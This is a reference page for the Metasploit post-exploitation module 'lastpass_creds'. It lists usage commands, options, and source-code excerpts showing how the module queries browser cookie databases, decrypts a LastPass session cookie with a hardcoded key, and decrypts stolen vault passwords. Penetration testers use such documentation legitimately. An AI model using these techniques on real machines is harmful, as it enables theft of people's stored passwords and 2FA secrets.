LastPass Vault Decryptor - Metasploit


This page contains detailed information about how to use the post/multi/gather/lastpass_creds metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.

Module Overview


Name: LastPass Vault Decryptor
Module: post/multi/gather/lastpass_creds
Source code: modules/post/multi/gather/lastpass_creds.rb
Disclosure date: -
Last modification time: 2021-11-22 14:11:03 +0000
Supported architecture(s): -
Supported platform(s): Linux, OSX, Unix, Windows
Target service / protocol: -
Target network port(s): -
List of CVEs: -

This module extracts and decrypts LastPass master login accounts and passwords, encryption keys, 2FA tokens and all the vault passwords

Module Ranking and Traits


Module Ranking:

  • normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.

Basic Usage


There are two ways to execute this post module.

From the Meterpreter prompt

The first is by using the "run" command at the Meterpreter prompt. It allows you to run the post module against that specific session:

meterpreter > run post/multi/gather/lastpass_creds

From the msf prompt

The second is by using the "use" command at the msf prompt. You will have to figure out which session ID to set manually. To list all session IDs, you can use the "sessions" command.

msf > use post/multi/gather/lastpass_creds
msf post(lastpass_creds) > show options
    ... show and set options ...
msf post(lastpass_creds) > set SESSION session-id
msf post(lastpass_creds) > exploit

If you wish to run the post against all sessions from framework, here is how:

1 - Create the following resource script:


framework.sessions.each_pair do |sid, session|
  run_single("use post/multi/gather/lastpass_creds")
  run_single("set SESSION #{sid}")
  run_single("run")
end

2 - At the msf prompt, execute the above resource script:

msf > resource path-to-resource-script

Required Options


  • SESSION: The session to run this module on.

Go back to menu.

Msfconsole Usage


Here is how the multi/gather/lastpass_creds post exploitation module looks in the msfconsole:

msf6 > use post/multi/gather/lastpass_creds

msf6 post(multi/gather/lastpass_creds) > show info

       Name: LastPass Vault Decryptor
     Module: post/multi/gather/lastpass_creds
   Platform: Linux, OSX, Unix, Windows
       Arch: 
       Rank: Normal

Provided by:
  Alberto Garcia Illera <[email protected]>
  Martin Vigo <[email protected]>
  Jon Hart <[email protected]>

Compatible session types:
  Meterpreter
  Shell

Basic options:
  Name     Current Setting  Required  Description
  ----     ---------------  --------  -----------
  SESSION                   yes       The session to run this module on.

Description:
  This module extracts and decrypts LastPass master login accounts and 
  passwords, encryption keys, 2FA tokens and all the vault passwords

References:
  http://www.martinvigo.com/even-the-lastpass-will-be-stolen-deal-with-it

Module Options


This is a complete list of options available in the multi/gather/lastpass_creds post exploitation module:

msf6 post(multi/gather/lastpass_creds) > show options

Module options (post/multi/gather/lastpass_creds):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   SESSION                   yes       The session to run this module on.

Advanced Options


Here is a complete list of advanced options supported by the multi/gather/lastpass_creds post exploitation module:

msf6 post(multi/gather/lastpass_creds) > show advanced

Module advanced options (post/multi/gather/lastpass_creds):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   VERBOSE    false            no        Enable detailed status messages
   WORKSPACE                   no        Specify the workspace for this module

Post Actions


This is a list of all post exploitation actions which the multi/gather/lastpass_creds module can do:

msf6 post(multi/gather/lastpass_creds) > show actions

Post actions:

   Name  Description
   ----  -----------

Evasion Options


Here is the full list of possible evasion options supported by the multi/gather/lastpass_creds post exploitation module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 post(multi/gather/lastpass_creds) > show evasion

Module evasion options:

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------

Go back to menu.

Error Messages


This module may fail with the following error messages:

Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.

Shell sessions on Windows are not supported


Here is a relevant code snippet related to the "Shell sessions on Windows are not supported" error message:

36:	    )
37:	  end
38:	
39:	  def run
40:	    if session.platform == 'windows' && session.type == "shell" # No Windows shell support
41:	      print_error "Shell sessions on Windows are not supported"
42:	      return
43:	    end
44:	
45:	    print_status "Searching for LastPass databases"
46:	

No databases found


Here is a relevant code snippet related to the "No databases found" error message:

44:	
45:	    print_status "Searching for LastPass databases"
46:	
47:	    account_map = build_account_map
48:	    if account_map.empty?
49:	      print_status "No databases found"
50:	      return
51:	    end
52:	
53:	    print_status "Extracting credentials"
54:	    extract_credentials(account_map)

Platform not recognized: <SESSION.PLATFORM>


Here is a relevant code snippet related to the "Platform not recognized: <SESSION.PLATFORM>" error message:

130:	          'Firefox' => "", # It's set programmatically
131:	          'Opera' => "#{user_profile['LocalAppData']}/com.operasoftware.Opera/Cookies",
132:	          'Safari' => "#{user_profile['AppData']}/Cookies/Cookies.binarycookies"
133:	        }
134:	      else
135:	        print_error "Platform not recognized: #{session.platform}"
136:	      end
137:	
138:	      account_map[account] = {}
139:	      browser_path_map.each_pair do |browser, path|
140:	        account_map[account][browser] = {}

OS not recognized: <SESSION.PLATFORM>


Here is a relevant code snippet related to the "OS not recognized: <SESSION.PLATFORM>" error message:

193:	        )
194:	      end
195:	    when /windows/
196:	      user_profiles |= grab_user_profiles
197:	    else
198:	      print_error "OS not recognized: #{session.platform}"
199:	    end
200:	    user_profiles
201:	  end
202:	
203:	  # Extracts the databases paths from the given folder ignoring . and ..

Data could not be decrypted. <E.MESSAGE>


Here is a relevant code snippet related to the "Data could not be decrypted. <E.MESSAGE>" error message:

294:	
295:	    begin
296:	      decipher.key = key
297:	      decrypted_data = decipher.update(Rex::Text.decode_base64(encrypted_data)) + decipher.final
298:	    rescue OpenSSL::Cipher::CipherError => e
299:	      vprint_error "Data could not be decrypted. #{e.message}"
300:	    end
301:	
302:	    decrypted_data
303:	  end
304:	

Browser <BROWSER> not supported for cookies


Here is a relevant code snippet related to the "Browser <BROWSER> not supported for cookies" error message:

495:	        when "Opera"
496:	          query = "SELECT encrypted_value FROM cookies WHERE host_key = 'lastpass.com' AND name = 'PHPSESSID'"
497:	        when "Firefox"
498:	          query = "SELECT value FROM moz_cookies WHERE host = 'lastpass.com' AND name = 'PHPSESSID'"
499:	        else
500:	          vprint_error "Browser #{browser} not supported for cookies"
501:	          next
502:	        end
503:	        # Parsing/Querying the DB
504:	        loot_path = loot_file(lp_data['cookies_db'], nil, "#{browser.downcase}.lastpass.cookies", "application/x-sqlite3", "#{account}'s #{browser} cookies DB")
505:	        next if loot_path.blank?

Here is a relevant code snippet related to the "No session cookie was found in <ACCOUNT>'s <BROWSER> (<E.MESSAGE>)" error message:

506:	
507:	        db = SQLite3::Database.new(loot_path)
508:	        begin
509:	          result = db.execute(query)
510:	        rescue SQLite3::SQLException => e
511:	          vprint_error "No session cookie was found in #{account}'s #{browser} (#{e.message})"
512:	          next
513:	        end
514:	        next if result.blank? # No session cookie found for this browser
515:	
516:	        session_cookie_value = result[0][0]

Here is a relevant code snippet related to the "Cookie could not be decrypted. <E.MESSAGE>" error message:

527:	          decipher.key = OpenSSL::Digest.hexdigest('SHA256', "peanuts")
528:	          decipher.iv = " " * 16
529:	          session_cookie_value = session_cookie_value[3..-1] # Discard v10
530:	          session_cookie_value = decipher.update(session_cookie_value) + decipher.final
531:	        rescue OpenSSL::Cipher::CipherError => e
532:	          print_error "Cookie could not be decrypted. #{e.message}"
533:	        end
534:	      end
535:	
536:	      # Use the cookie to obtain the encryption key to decrypt the vault key
537:	      uri = URI('https://lastpass.com/login_check.php')

No vault was found for <USERNAME>


Here is a relevant code snippet related to the "No vault was found for <USERNAME>" error message:

671:	            'Header' => "Decrypted vault from #{username}",
672:	            'Indent' => 1,
673:	            'Columns' => %w(URL Username Password)
674:	          )
675:	          if user_data['vault_loot'].nil? # Was a vault found?
676:	            print_error "No vault was found for #{username}"
677:	            next
678:	          end
679:	          encoded_vault = File.read(user_data['vault_loot'])
680:	          if encoded_vault[0] == "!" # Vault is double encrypted
681:	            encoded_vault = decrypt_data([user_data['vault_key']].pack("H*"), encoded_vault)

Vault from <USERNAME> could not be decrypted


Here is a relevant code snippet related to the "Vault from <USERNAME> could not be decrypted" error message:

678:	          end
679:	          encoded_vault = File.read(user_data['vault_loot'])
680:	          if encoded_vault[0] == "!" # Vault is double encrypted
681:	            encoded_vault = decrypt_data([user_data['vault_key']].pack("H*"), encoded_vault)
682:	            if encoded_vault.blank?
683:	              print_error "Vault from #{username} could not be decrypted"
684:	              next
685:	            else
686:	              encoded_vault = encoded_vault.sub("LPB64", "")
687:	            end
688:	          end

No decrypted vaults.


Here is a relevant code snippet related to the "No decrypted vaults." error message:

696:	            lastpass_vault_data_table << account_data if account_data != nil
697:	          end
698:	
699:	          unless account_map.empty? # Loot passwords
700:	            if lastpass_vault_data_table.rows.empty?
701:	              print_status('No decrypted vaults.')
702:	            else
703:	              print_good lastpass_vault_data_table.to_s
704:	            end
705:	            loot_file(nil, lastpass_vault_data_table.to_csv, "#{browser.downcase}.lastpass.passwords", "text/csv", "LastPass Vault Passwords from #{username}")
706:	          end

Vault password could not be decrypted with key <KEY>


Here is a relevant code snippet related to the "Vault password could not be decrypted with key <KEY>" error message:

743:	    decipher.key = [key].pack "H*"
744:	
745:	    begin
746:	      return decipher.update(encrypted_data) + decipher.final
747:	    rescue OpenSSL::Cipher::CipherError
748:	      vprint_error "Vault password could not be decrypted with key #{key}"
749:	      return nil
750:	    end
751:	  end
752:	
753:	  # Reads a remote file and loots it

Error reading file <PATH> It could be empty


Here is a relevant code snippet related to the "Error reading file <PATH> It could be empty" error message:

771:	    data = nil
772:	
773:	    begin
774:	      data = read_file(path)
775:	    rescue EOFError
776:	      vprint_error "Error reading file #{path} It could be empty"
777:	    end
778:	    data
779:	  end
780:	
781:	  def read_registry_key_value(key, value)

Go back to menu.


References


See Also


Check also the following modules related to this module:

Authors


  • Alberto Garcia Illera <agarciaillera[at]gmail.com>
  • Martin Vigo <martinvigo[at]gmail.com>
  • Jon Hart <jon_hart[at]rapid7.com>

Version


This page has been produced using Metasploit Framework version 6.1.24-dev. For more modules, visit the Metasploit Module Library.

Go back to menu.